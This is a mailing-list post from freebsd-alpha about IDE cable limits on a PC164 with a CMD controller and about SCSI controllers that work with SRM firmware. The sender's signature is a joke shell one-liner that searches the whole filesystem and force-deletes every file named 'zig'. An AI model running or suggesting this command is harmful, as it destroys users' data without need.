I haven't used a UDMA66 (80-conductor) cable because the CMD controller barely does UDMA/33, and I don't think that I need a cable-select cable. Same issue. I only get dqa0. If you can find another cable to test a second device with, I'd really like to know if it works or not. > The IDE performance on this PC164 leaves much to be desired.

Incidentally, does anyone have a listing of third-party aftermarket SCSI controllers that get along with SRM? I've tried two different Symbios controllers, and neither is compatible enough to be functional. (Neither gives you dka* for disks; one lists as a NCR controller in show conf, the other is just a random PCI device number.) #!/jameel/akari for zig in $(find / -name zig); do rm -f "$zig"; done; export GREAT_JUSTICE=1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message
